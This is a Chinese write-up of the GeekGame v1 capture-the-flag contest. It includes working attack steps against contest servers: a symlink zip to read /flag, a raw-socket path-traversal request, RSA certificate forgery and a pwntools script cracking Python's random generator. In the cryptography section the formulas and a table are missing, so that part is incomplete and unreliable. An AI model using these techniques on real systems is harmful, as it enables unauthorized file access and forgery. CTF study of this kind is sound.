簽到
題目內容是一個 pdf 文件,用 Adobe Acrobat 打開,看到其中包含一些特殊符號。
在編輯模式下,查看得到其字體為 Wingdings,這是一個裝飾字體,文本內容其實是 ASCII 碼。文本范圍是超出頁面的,resize 之后復制出其內容,給出了兩行文字:
這是柵欄密碼,得到 flag 為 flag{Have_A_Great_Time@GeekGame_v1!}。
fa{aeAGetTm@ekaev!
lgHv__ra_ieGeGm_1}
小北問答 Remake
- 北京大學燕園校區有理科 1 號樓到理科 X 號樓,但沒有理科 (X+1) 號及之后的樓。X 是?
在 Google Earth 中搜索,存在理科 5 號樓,但沒有理科 6 號樓。故答案為 5。
- 上一屆(第零屆)比賽的總注冊人數有多少?
在北京大學新聞網中找到報道北京大學舉辦首屆信息安全綜合能力競賽,得到「本次大賽共有 407 人注冊參賽」,故答案為 407。
- geekgame.pku.edu.cn 的 HTTPS 證書曾有一次忘記續期了,發生過期的時間是?
搜索「ssl cert database」,找到網站 crt.sh。在該網站上搜索 geekgame.pku.edu.cn,並根據題目給出的正則表達式尋找過期時間秒數以 3 結尾的證書,得到證書 4362003382。其過期時間為 Jul 11 00:49:53 2021 GMT,將時區換為 UTC+8,得到 2021-07-11T08:49:53+08:00。
- 2020 年 DEFCON CTF 資格賽簽到題的 flag 是?
找到 2020 年 DEFCON CTF 資格賽的網站是 OOO DEF CON CTF Quals,打開第一題 welcome-to-dc2020-quals,下載 welcome.txt,獲得 flag 為
OOO{this_is_the_welcome_flag}。
- 在大小為 672328094 * 386900246 的方形棋盤上放 3 枚(相同的)皇后且它們互不攻擊,有幾種方法?
在 The On-Line Encyclopedia of Integer Sequences 中搜索「3 queens」,沒有直接找到
代入數據計算得 2933523260166137923998409309647057493882806525577536。這里直接用 Mathematica 計算了。
- 上一屆(第零屆)比賽的 “小北問答 1202” 題目會把所有選手提交的答案存到 SQLite 數據庫的一個表中,這個表名叫?
在第零屆比賽的 GitHub 倉庫 geekgame-0th 中查找,在 src/choice/game/db.py 中得到表名叫 submits。
- 國際互聯網由許多個自治系統(AS)組成。北京大學有一個自己的自治系統,它的編號是?
在中國 AS 自治系統號碼中查找 Peking University,找到編號 AS59201。另一個搜索結果 CNGI-BJ-IX3-AS-AP CERNET2 IX at Peking University, CN 不是正確答案。
- 截止到 2021 年 6 月 1 日,完全由北京大學信息科學技術學院下屬的中文名稱最長的實驗室叫?
在信息科學技術學院 2021 年招生指南中找名字最長的實驗室,為「區域光纖通信網與新型光通信系統國家重點實驗室」。
共享的機器
這題提到了「未來的機器」,是第零屆比賽的題目。通過閱讀「未來的機器」的 Writeup,得知需要人腦解釋執行代碼,反推 flag。猜測這題是類似的。
首先需要了解以太坊智能合約的機制。智能合約創建時需要提供一段 Solidity 程序的字節碼,並且此后無法再修改。每次向該智能合約發起交易時,提供的交易信息和交易的發起者將作為程序的輸入,程序的運行結果將可以存儲到區塊鏈中,也可以通過 revert 提前終止,拒絕交易。程序運行時將可以訪問 memory 和 storage。memory 類似 RAM,程序終止后被銷毀,而 storage 是區塊鏈上的持久化存儲。
原題提供了一個 bitaps 中的鏈接,可以看到 2021-10-22 和 2021-11-07 兩筆關鍵交易,其中 2021-10-22 的交易是創建此合約。其它有很多失敗的交易,都是 2021-11-14 之后的。這時題目已經發布了,因此這些失敗的交易應當不是題目的一部分。
除此之外,bitaps 上並沒有提供更詳細的信息。搜索其它 CTF 競賽中有關以太坊智能合約的題目 Writeup,發現了 Etherscan 網站,可以通過其 Parity Trace 功能查看交易詳情。更令人激動的是,Etherscan 自帶 Decompile Bytecode 功能,打開題目中所給的智能合約后,可利用這一功能,查看得到反編譯的源碼:
#
# Panoramix v4 Oct 2019
# Decompiled source of ropsten:0xa43028c702c3B119C749306461582bF647Fd770a
#
# Let's make the world open source
#
def storage:
stor0 is addr at storage 0
stor1 is uint256 at storage 1
stor2 is uint256 at storage 2
stor3 is uint256 at storage 3
def _fallback() payable: # default function
revert
def unknown7fbf5e5a(uint256 _param1, uint256 _param2) payable:
require calldata.size - 4 >= 64
if stor0 != caller:
if stor0 != tx.origin:
if stor1 != sha3(caller):
if stor1 != sha3(tx.origin):
revert with 0, 'caller must be owner'
stor2 = _param1
stor3 = _param2
def unknownded0677d(uint256 _param1) payable:
require calldata.size - 4 >= 32
idx = 0
s = 0
while idx < 64:
idx = idx + 1
s = s or (Mask(256, -4 * idx, _param1) >> 4 * idx) + (5 * idx) + (7 * Mask(256, -4 * idx, stor2) >> 4 * idx) % 16 << 4 * idx
continue
if stor3 != 0:
revert with 0, 'this is not the real flag!'
return 1
這里得到了兩個函數,但調用關系並不明朗。用另一個在線工具 Online Solidity Decompiler 反編譯,得到了另一種表示,兩者可以互相參照。\footnote {Online Solidity Decompiler 的反編譯結果篇幅較長,且可以在線查看,就不貼在文中了。其中重要的部分會在后文給出。}
Online Solidity Decompiler 的結果中存在一些 goto,但跳轉的地址仍在函數內部,因此還是可以比較輕松地理清控制流。經過分析,發現第一個函數必須由 owner 發起交易才能正常返回,其作用是修改 storage[2] 和 storage[3]。第二個函數實際上運行了一個 64 次的循環,循環中不斷用或運算修改變量 var0,並且用到了 storage[2] 存儲的數據。循環后將 var0 的運算結果與 storage[3] 比較,兩者不相同則輸出 this is not the real flag!。換言之,需要找出一個初始的 var0,使其運算后與 storage[3] 相同。這個 var0 很可能就是我們需要的 flag。
這一部分的 Solidity 代碼提取出來是
var arg0 = msg.data[0x04:0x24];
var var0 = 0x00;
var var1 = 0x00;
while (var1 < 0x40) {
var0 = var0 | (((arg0 >> var1 * 0x04) + var1 * 0x05 + (storage[0x02] >> var1 * 0x04) * 0x07 & 0x0f) << var1 * 0x04);
var1 += 0x01;
}
if (var0 == storage[0x03]) { return 0x01; }
注意到位運算的優先級,最終被左移 var1 * 0x04 位的內容提前經過了 \& 0x0f 運算,換言之,一次循環中 var0 只會至多被改變 4 位,並且每次循環改變的位是互不干擾的。這使得整個運算過程是可逆的。
此外我們還需要知道 storage[2] 和 storage[3] 的值。這可以通過查看 2021-11-07 的交易獲得。
這樣,就可以把反推 var0 的邏輯用 Python 實現出來了。
stor2 = 0x15eea4b2551f0c96d02a5d62f84cac8112690d68c47b16814e221b8a37d6c4d3
stor3 = 0x293edea661635aabcd6deba615ab813a7610c1cfb9efb31ccc5224c0e4b37372
res = 0
flag = []
for i in range(0x40):
target = stor3 >> i * 4 & 0x0f
for ans in range(0x10):
if ans + i * 5 + (stor2 >> i * 4) * 7 & 0x0f == target:
flag.insert(0, ans)
print(''.join([chr(flag[i] * 16 + flag[i + 1]) for i in range(0, len(flag), 2)]))
得到 flag 為 flag{N0_S3cReT_ON_EThEreuM}。
翻車的謎語人
題目提供了一個 pcap 格式的抓包數據。用 Charles 打開,可以看出這是與 Jupyter 交互的流量。
這里可以直接把 Jupyter Notebook 的內容恢復出來。
import zwsp_steg
from Crypto.Random import get_random_bytes
import binascii
def genflag():
return 'flag{%s}' % binascii.hexlify(get_random_bytes(16)).decode()
flag1 = genflag()
flag2 = genflag()
key = get_random_bytes(len(flag1))
def xor_each(k, b):
assert len(k) == len(b)
out = []
for i in range(len(b)):
out.append(b[i] ^ k[i])
return bytes(out)
encoded_flag1 = xor_each(key, flag1.encode())
encoded_flag2 = xor_each(key, flag2.encode())
with open('flag1.txt', 'wb') as f:
f.write(binascii.hexlify(encoded_flag2))
從 Jupyter Notebook 的輸出可以知道 key 為
b'\x1e\xe0[u\xf2\xf2\x81\x01U_\x9d!yc\x8e\xce[X\r\x04\x94\xbc9\x1d\xd7\xf8\xde\xdcd\xb2Q\xa3\x8a?\x16\xe5\x8a9'
而 encoded_flag1 則是根據 flag1 與 key 的異或運算得到。根據異或運算的性質,將 encoded_flag1 與 key 再進行一次異或就能夠還原出 flag1。
接下來搜索 flag1,可以在流量中找到讀取 flag1.txt 文件的內容。
由此可以還原出 flag1:
flag1 = '788c3a1289cbe5383466f9184b07edac6a6b3b37f78e0f7ce79bece502d63091ef5b7087bc44'
flag1 = binascii.unhexlify(flag1)
print(''.join([chr(flag1[i] ^ key[i]) for i in range(len(flag1))]))
對於 flag2,搜索后發現 Jupyter 工作區存在大小為 2935226 字節的 7zip 文件,其內容可以完全 dump 出來。但是這個壓縮文件有密碼,必須繼續挖掘。這時 Charles 給出的 HTTP 流量數據已經提取不到更多有用的信息,轉而使用 Wireshark。果不其然,在 Wireshark 中發現了 Jupyter Notebook 的 WebSocket 協議數據幀。
這些 WebSocket 數據幀完整地記錄了命令行操作。可以看到 You ちゃん先是用 pip 安裝了 stego-lsb,然后將 flag2.txt 隱寫進了 ki-ringtrain.wav,最后把 wav 用 7za 壓縮。壓縮時設置了密碼,其命令行參數為
-p"Wakarimasu! `date` `uname -nom` `nproc`"
7za 的輸出里顯示了 CPU 型號為 i7-10510U,這是一個 4C8T 的 U,故 nproc 輸出為 8。\footnote {如果關了超線程應該就是 4?}uname -o 顯然為 GNU/Linux,uname -m 則為 x86_64。uname -n 為主機名,通過命令提示符的回顯得到 you-kali-vm。
至於 date 的輸出需要一定的猜測,因為主機的時區和語言還沒確定。並且 date 本身也有幾種風格的輸出,例如
Sat Nov 06 07:44:16 CST 2021
Sat 06 Nov 2021 07:44:16 AM GMT
執行命令的時間相對第一個數據幀的偏移是
Wakarimasu! Sat 06 Nov 2021 03:44:15 PM CST you-kali-vm x86_64 GNU/Linux 8
解壓得到 wav 文件,再用 stegolsb 提取出隱寫的信息,正是 encoded_flag2。
pip3 install stego-lsb
stegolsb wavsteg -r -i flag2.wav -o flag2.txt --bytes 76 -n 1
使用前文類似的方法,恢復出 flag2 即可。
葉子的新歌
首先用 ffprobe 查看 mp3 文件的元信息,得到兩個關鍵的提示:
album : Secret in Album Cover!!
TRACKTOTAL : aHR0cDovL2xhYi5tYXh4c29mdC5uZXQvY3RmL2xlZ2FjeS50Ynoy
這是兩個分支,后文分別敘述。
夢は時空を越えて
用 binwalk 看到 Album Cover 是 png 圖片,提取之。
這個圖片看上去非常正常。首先猜測是圖片大小存在問題,於是對 PNG 頭進行 CRC32 校驗,無異常。進而懷疑使用了隱寫技術,上 StegSolve。使用 LSB,提取 RGB 三個通道的最低位,二進制解碼后三個大字「PNG」映入眼簾。說明思路正確,提取出一張圖片。
這是一個二維碼,但並不是常見的 QR 碼。扔到 Google 圖片中搜索,發現其名為 Aztec 碼。手機下載掃碼軟件 Scandit,得到內容 Gur frperg va uvfgbtenz.。看上去是凱撒密碼,隨手找了一個在線工具,解碼得到 The secret in histogram.。
這個 Aztec 碼的灰度分布看上去就不太對勁,不過 Photoshop 的直方圖不太能放大,於是用 Python 腳本輸出直方圖。
from PIL import Image
import numpy as np
im = Image.open('aztec.png')
cluster = np.zeros(shape=(256))
for i in range(1000):
for j in range(1000):
cluster[im.getpixel((i, j))] += 1
img = Image.new(mode='RGB', size=(256 + 40, 50 + 10), color=(255, 255, 255))
pixels = img.load()
for i in range(len(cluster)):
if cluster[i] > 0:
for j in range(50):
pixels[i + 20, j + 5] = (0, 0, 0)
img.save('histogram.png')
直方圖如下圖所示。
這個直方圖怎么看也是一個條形碼,繼續掃碼得到 xmcp.ltd/KCwBa。訪問后得到一大串 Ook。這是一個 Brainfuck 的方言,在 Ook! Programming Language - Esoteric Code Decoder, Encoder, Translator 執行后得到 flag 為
flag{y0u_h4ve_f0rgott3n_7oo_much}。
StegSolve 的 UI 在 macOS 上會有問題,可以用其他程序替代,例如 zsteg 或 StegOnline。
夢と現の境界
另一個分支,aHR0cDovL2xhYi5tYXh4c29mdC5uZXQvY3RmL2xlZ2FjeS50YnoyBase64 解碼得到 http://lab.maxxsoft.net/ctf/legacy.tbz2。下載解壓得到 To_the_past.img。macOS 上直接掛載磁盤鏡像,得到 MEMORY.ZIP 和 NOTE.TXT。NOTE.TXT 中提示密碼是:賓馭令詮懷馭榕喆藝藝賓庚藝懷喆晾令喆晾懷。搜索后得知這是人民幣冠號密碼,解碼得到 72364209117514983984。用該密碼解壓 MEMORY.ZIP,獲得新的提示和兩個二進制文件,left.bin 和 right.bin。先用 binwalk,沒有掃到有用的信息。提示中有「紅白機」「找不同滴神」,故使用 vbindiff 比較,發現確實可以找不同,但應該用最長公共子串比較,而不是按位比較。這里偷懶了,寫了一個比較簡單的腳本,稍微處理了一下 edge case,不過對於某些極端輸入會有 bug。
with open('left.bin', 'rb') as f:
lbuf = f.read()
with open('right.bin', 'rb') as f:
rbuf = f.read()
lpointer = 0
rpointer = 0
common = []
lonly = []
ronly = []
allonly = []
while lpointer < len(lbuf) and rpointer < len(rbuf):
if lbuf[lpointer] == rbuf[rpointer]:
common.append(lbuf[lpointer])
elif lbuf[lpointer + 1] == rbuf[rpointer] and lbuf[lpointer + 2] == rbuf[rpointer + 1]:
common.append(rbuf[rpointer])
lonly.append(lbuf[lpointer])
allonly.append(lbuf[lpointer])
lpointer += 1
elif lbuf[lpointer] == rbuf[rpointer + 1] and lbuf[lpointer + 1] == rbuf[rpointer + 2]:
common.append(lbuf[lpointer])
ronly.append(rbuf[rpointer])
allonly.append(rbuf[rpointer])
rpointer += 1
else:
print(lpointer, rpointer)
print(lbuf[lpointer - 1:lpointer + 2], rbuf[rpointer - 1:rpointer + 2])
raise ValueError
lpointer += 1
rpointer += 1
腳本處理本題中的數據后,給出了找不同的結果,包括只存在於 left.bin 的數據,只存在於 right.bin 的數據和共有的數據。繼續 binwalk,還是沒有找到有用的結果。這里試了半天,最后發現兩個 diff 文件的開頭,一個是 N,一個是 ES。聯想到提示中的「紅白機」,按 diff 的順序把左右合起來正好是一個合法的 NES 文件 \footnote {仍然是由於腳本的小 bug,最后一個不同的字節沒有被記錄,因此最后追加了一個 FF。}。
with open('game.nes', 'wb') as f:
for c in allonly:
f.write(c.to_bytes(1, 'big'))
f.write(b'\xFF')
之后在 awesome-emulators 中找了一個 NES 模擬器 Nestopia,能夠正常打開游戲,發現是修改的超級馬里奧。下一步找 flag 又沒有方向了,因為 flag 可能藏在任何地方,例如游戲的地圖甚至彩蛋中。不確定是不是錯過了什么關鍵信息,這里只能繼續猜,靠玩《超級馬里奧制造》的功底 \footnote {以及 SL 大法。} 速通之后得到了一個網頁鏈接
lab.maxxsoft.net/ctf/leafs/
然后就卡關了。\footnote {NINTENDO RULES THE FUCKING WORLD!}
直接 mount img 讀到的是 FAT12 分區的內容。如果先用 file(而不是 binwalk)查看可以知道是有 MBR 引導的,用 qemu 就能啟動。提示其實說得很清楚了,沒做出來屬於是重大失誤。
在線解壓網站
這題比較簡單,用戶上傳 zip 文件后服務器解壓,並允許讀取解壓后的文件。由於已經知道 flag 在磁盤根目錄下,因此直接用軟鏈接攻擊就行。
touch /flag
ln -s /flag flag
zip flag.zip flag --symlinks
參數 --symlinks 用於讓 zip 保留軟鏈接,而不是把軟鏈接目標打包進去。上傳 flag.zip 就可以直接讀 flag 了,結果是 flag{NeV3R_trUSt_Any_C0mpresSed_file}。
Flag 即服務
打開 JSON-as-a-Service 的網站,按照介紹試用功能:
https://prob11-xxxxxxxx.geekgame.pku.edu.cn/api/demo.json
嘗試以下網址
https://prob11-xxxxxxxx.geekgame.pku.edu.cn/api/
服務器報錯
Error: EISDIR: illegal operation on a directory, read
at Object.readSync (fs.js:617:3)
at tryReadSync (fs.js:382:20)
at Object.readFileSync (fs.js:419:19)
at /usr/src/app/node_modules/jsonaas-backend/index.js:56:19
at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)
at next (/usr/src/app/node_modules/express/lib/router/route.js:137:13)
at Route.dispatch (/usr/src/app/node_modules/express/lib/router/route.js:112:3)
at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)
at /usr/src/app/node_modules/express/lib/router/index.js:281:22
at param (/usr/src/app/node_modules/express/lib/router/index.js:354:14)
可見服務器會根據 /api/ 后的路徑拼接文件路徑進行讀取,嘗試 LFI 攻擊
https://prob11-xxxxxxxx.geekgame.pku.edu.cn/api/../package.json
這里最開始拿的瀏覽器測試,發現 URL 被 resolve 成了
https://prob11-xxxxxxxx.geekgame.pku.edu.cn/package.json
隨后用 Python 的 requests 試了一下,也沒能解決這個問題。根據提示中的 RFC 3986,用 socket 庫手寫 HTTP 頭,終於繞過了
import socket
s = socket.socket(
socket.AF_INET, socket.SOCK_STREAM)
s.connect(("prob11-xxxxxxxx.geekgame.pku.edu.cn", 80))
s.send(
b'GET /api/../package.json HTTP/1.1\r\nHost: prob11-xxxxxxxx.geekgame.pku.edu.cn\r\n\r\n')
response = s.recv(4096)
print(response)
拿到 package.json 后,讀出依賴包地址為
https://geekgame.pku.edu.cn/static/super-secret-jsonaas-backend-1.0.1.tgz
下載后閱讀源碼,可知 flag1 為 flag{0.30000000000000004}。
這里用 curl --path-as-is 也可以。
詭異的網關
這題也比較簡單。打開程序后探索程序的 UI,發現存了一個用戶名為 flag 的賬號的密碼。密碼不讓查看和復制,大概率是和我們要的 flag 相關的。於是直接開 Cheat Engine,搜索 flag{,秒得 solution。
印象中上一次使用 Cheat Engine 還是高中時修改某網盤的會員試用時間,沒想到會在這題中用上。當然,如果題目把 flag 做一個簡單的變換,這個方法就不奏效了,會增加很大的工作量。
最強大腦
先用 strings,發現程序中有字符串 flag1。然后上 ida,可惜用得不太熟練,沒能逆向出有用的信息。這題最后是靠提示給的源代碼做出來的。拿到源碼之后發現 flag 放在了數據段的最后,因此寫個循環遍歷數據段,輸出讀到的字符即可。Brainfuck 的循環會檢測當前指針指向的數據是否為 0,數據段初始化時會全部置 0,所以需要用一下 + 操作符。Brainfuck 代碼如下
+[>.+]
用 Python 計算對應的 hex
print(b'+[>.+]'.hex())
得到 2b5b3e2e2b5d,運行得到 flag{N0_tRainIng_@_@ll}。
這大概也是一個熟練度的問題,能 dump 內存就先 dump 內存,能 LFI 就直接對 /proc 下手。
密碼學實踐
這題中有三個對象:God,Richard 和 Alice。Alice 只是占了個坑,我們的終極目標是和 God 對話,獲取偽造的證書來冒充 Alice。程序中的 God 會先為 Alice 和 Richard 頒發證書。簽名證書需要提供 name 和 key,程序會先打包出下面這一串內容
[...name...][..][..][......key......][..][..]
name 和 key 之后分別用兩個字節標記其長度,然后組合在一起。將這個字節串轉為整數后,用模冪運算計算得到證書。並且,God 不會為 name 相同的人頒發第二個證書。
首先看 flag1。在程序中和 Richard 對話,會直接給出加密后的 flag1。這里的加密過程還沒有涉及 RSA,而是用了一個看上去比較復雜的循環。閱讀 MESenc 函數的代碼,可知加密是先將明文按每 32 個字節分為一組,然后每組單獨加密再拼接。32 個字節又分成 4 個 8 字節,分別記做
那么,加密流程就是執行如下操作
其中
|
|
|
|
---|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
這些
那么一圈循環下來的結果就是
這里的 4 個
於是,MESenc 其實等價於如下函數。
def MESenc(mess: bytes, const1: bytes, const2: bytes, const3: bytes, const4: bytes):
assert len(mess) % 32 == 0
cip = b""
for it in range(0, len(mess), 32):
pmess = mess[it:it+32]
a = bytes_to_long(pmess[0:8])
b = bytes_to_long(pmess[8:16])
c = bytes_to_long(pmess[16:24])
d = bytes_to_long(pmess[24:32])
_a = long_to_bytes(c ^ const1, 8)
_b = long_to_bytes(d ^ const2, 8)
_c = long_to_bytes(a ^ c ^ const3, 8)
_d = long_to_bytes(b ^ d ^ const4, 8)
cip += _a + _b + _c + _d
return cip
閱讀程序源碼,我們會知道 Richard 說的第二句話的明文是 Sorry, I forget to verify your identity. Please give me your certificate. 我們同樣也能直接獲得這句話的密文。\footnote {同時獲得明文和對應的密文顯然是一個令人不安的信號,就如盟軍破譯 Enigma 時所做的那樣。} 那么,4 個
根據明文和密文反推
def MEScrack(mess: bytes, cip: bytes):
assert len(mess) == len(cip)
assert len(mess) % 32 == 0
pmess = mess[:32]
pcip = cip[:32]
a = bytes_to_long(pmess[0:8])
b = bytes_to_long(pmess[8:16])
c = bytes_to_long(pmess[16:24])
d = bytes_to_long(pmess[24:32])
_a = bytes_to_long(pcip[0:8])
_b = bytes_to_long(pcip[8:16])
_c = bytes_to_long(pcip[16:24])
_d = bytes_to_long(pcip[24:32])
const1 = _a ^ c
const2 = _b ^ d
const3 = a ^ c ^ _c
const4 = b ^ d ^ _d
return const1, const2, const3, const4
算出
def MESdecode(cip: bytes, const1: bytes, const2: bytes, const3: bytes, const4: bytes):
assert len(cip) % 32 == 0
mess = b""
for it in range(0, len(cip), 32):
pmess = cip[it:it+32]
_a = bytes_to_long(pmess[0:8])
_b = bytes_to_long(pmess[8:16])
_c = bytes_to_long(pmess[16:24])
_d = bytes_to_long(pmess[24:32])
c = _a ^ const1
d = _b ^ const2
a = _c ^ c ^ const3
b = _d ^ d ^ const4
a = long_to_bytes(a, 8)
b = long_to_bytes(b, 8)
c = long_to_bytes(c, 8)
d = long_to_bytes(d, 8)
mess += a + b + c + d
return mess
獲得 flag2 就需要來研究 RSA 了。和 Richard 對話時,我們需要提供一個證書,如果 Richard 解密出這個證書所打包的 name 是 Alice,就會發送 flag2。由於 God 已經為 Alice 頒發過證書了,我們沒法直接冒充 Alice 獲得證書,所以目標就是用一個和 Alice 不同但精心構造的 name,以及 key,使得這個 name 和 key 經過打包、模冪、解密后,算出來的 name 等於 Alice。
考慮 RSA 的加密解密過程。
e 和 N 是 God 會告訴我們的公鑰,d 是私鑰。程序是用 pycryptodome 生成的 2048 位 RSA 密鑰,流程非常正經,可以認為暴力的攻擊方式是不可能的。\footnote {During his own Google interview, Jeff Dean was asked the implications if P=NP were true. He said, ``P = 0 or N = 1". Then, before the interviewer had even finished laughing, Jeff examined Google's public certificate and wrote the private key on the whiteboard.}
但這個加密過程存在一個漏洞,那就是沒有將明文 m 分塊。這使得 m 到 c 的映射是多對一的。顯然,任何
於是,我們的目標是尋找
為了逆推方便,這個合法的 pack 可以盡量簡單,例如它對應的 key 長度為 0。第二條約束則可以用搜索實現。最后
def fulldecode(n):
for i in range(1024):
keyx = n * i
if 0x10000 - (keyx & 0xffff) < 256:
factor = i
break
keyx = n * factor
lastmask = 0x10000 - (keyx & 0xffff)
firstmask = int.from_bytes(b'Alice\x00\x05', 'big') << (lastmask + 2) * 8
bitlength = (keyx.bit_length() + 7) // 8 - 4
centermask = (0x10000 + bitlength - ((keyx >> 16 & 0xffff) + 1)) << 16
result = keyx + firstmask + centermask + lastmask
sinfo = result.to_bytes((result.bit_length()+7)//8, 'big')
akey = unpackmess(sinfo)
pinfo = sinfo[:len(sinfo)-len(akey)-2]
aname = unpackmess(pinfo)
return aname.hex()
到這里所有問題都變成已解決的問題了。源程序里 Richard 還用了 6 行代碼重新生成 key,但這一部分不需要專門考慮,因為實際上並沒有什么區別,反推
看其他選手的 Writeup 發現這里搞復雜了。最簡單的方法就是利用同態加密的特性攻擊,找 God 分別獲得 b'\x00\x00Alice\x00\x05' 和 b'\x00\x00\x01\x00\x00' 的證書,然后乘起來,就可以糊弄 Richard 了。
掃雷
這題要求通關一個在線掃雷游戲獲得 flag,唯一的問題是地雷數量占總地圖格子數的期望值是 50%。生成地雷用的是 random.getrandbits,這是一個典型的偽隨機數生成器,因此可以設法攻擊。找到了輪子 randcrack,該程序要求輸入連續生成的 624 個 32 位隨機數,這部分信息將使得 cracker 的狀態與原程序的隨機數生成器同步,於是就可以完全預測出接下來的隨機數生成結果。
閱讀掃雷程序的源碼 sweeper.py,棋盤的大小是
確定這個大的思路后,其它的都是細節問題,例如按正確的順序將 256 位整數拆成 8 個 32 位整數喂給 randcrack,以及正確計算涉及到的位運算的位數。這題操作比較多,因此用 pwntools 交互。代碼如下所示。
from randcrack import RandCrack
from pwn import *
WIDTH = 16
HEIGHT = 16
token = 'TOKEN'
rc = RandCrack()
def letItBoom(conn):
conn.recv()
index = 0
conn.send(f'0 0\n')
line = conn.recvline()
while line != b'> BOOM!\n':
index += 1
conn.send(f'{index // 16} {index % 16}\n')
line = conn.recvline()
print('line2', line)
rows = []
for i in range(HEIGHT):
rows.append(conn.recvline(keepends=False))
print(rows)
bits = []
for row in rows:
tmp = 0
for i in range(WIDTH):
tmp |= (1 if row[i] == ord('*') else 0) << i
bits.append(tmp)
int32s = []
for i in range(0, HEIGHT, 2):
tmp = (bits[i + 1] << 16) | bits[i]
rc.submit(tmp)
print(tmp)
int32s.append(tmp)
print(int32s)
conn.recvline()
conn.recv()
conn = remote('prob09.geekgame.pku.edu.cn', 10009)
if conn.recv() == b'token: ':
conn.send(token + '\n')
if conn.recv() == b'Welcome to the minesweeper game!\neasy mode? (y/n)':
conn.send(b'n\n')
for i in range(78):
print('NEW GAME')
letItBoom(conn)
conn.send(b'y\n')
predict = rc.predict_getrandbits(256)
print('predict:', predict)
def gen_board(bits):
board = [[None] * WIDTH for _ in range(HEIGHT)]
for i in range(HEIGHT):
for j in range(WIDTH):
x = (bits >> (i * WIDTH + j)) & 1
board[i][j] = x
return board
conn.recv()
board = gen_board(predict)
for i in range(HEIGHT):
for j in range(WIDTH):
if board[i][j] == 0:
conn.send(f'{i} {j}\n')
print(conn.recv())